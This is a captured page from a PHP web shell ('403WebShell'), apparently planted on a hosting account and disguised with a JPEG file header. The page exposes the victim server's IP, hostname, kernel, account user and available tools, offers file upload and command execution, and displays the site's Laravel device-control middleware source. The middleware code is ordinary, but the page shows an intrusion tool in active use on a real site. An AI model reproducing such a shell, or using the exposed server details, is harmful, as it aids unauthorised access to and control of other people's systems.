����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.224.153.49
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/app/Http/Middleware/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/app/Http/Middleware/DeviceControlMiddleware.php
<?php

namespace App\Http\Middleware;

use App\Models\UserPackage;
use App\Traits\General;
use Closure;
use Illuminate\Http\Request;
use Auth;
use Illuminate\Support\Facades\Cookie;
use IvanoMatteo\LaravelDeviceTracking\Models\Device;

class DeviceControlMiddleware
{
    use General;
    /**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure(\Illuminate\Http\Request): (\Illuminate\Http\Response|\Illuminate\Http\RedirectResponse)  $next
     * @return \Illuminate\Http\Response|\Illuminate\Http\RedirectResponse
     */
    public function handle(Request $request, Closure $next)
    {   
        $authUser = auth()->user();
        if(get_option('device_control') && $authUser->role == USER_ROLE_STUDENT){
            $device_count = $authUser->device->count();
            $userPackage = UserPackage::join('packages', 'packages.id', '=', 'user_packages.package_id')->where('package_type', PACKAGE_TYPE_SUBSCRIPTION)->where('user_packages.user_id', auth()->id())->where('user_packages.status', PACKAGE_STATUS_ACTIVE)->whereDate('enroll_date', '<=', now())->whereDate('expired_date', '>=', now())->with('enrollments')->select('user_packages.device')->first();
            if(!is_null($userPackage)){
                $limit =  $userPackage->device;
            }
            else{
                $limit =  get_option('device_limit');
            }

            $device_uuid = $request->cookie('_uuid_d');
            
            if(Device::join('device_user', 'devices.id', '=', 'device_user.device_id')->where('devices.device_uuid', $device_uuid)->first()){
                return $next($request);
            }
            elseif(Device::join('device_user', 'devices.id', '=', 'device_user.device_id')->where('devices.device_uuid', $device_uuid)->withTrashed()->first()){
                Auth::logout();
                Cookie::queue(Cookie::forget('_uuid_d'));
                return redirect(route('login'));
            }
            elseif($device_count < $limit){
                \DeviceTracker::detectFindAndUpdate();
            }
            else{
                $this->showToastrMessage('warning', 'Device Limit Reached. Please logout from the list');
                return redirect()->to('student/login-devices');
            }
        }

        return $next($request);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit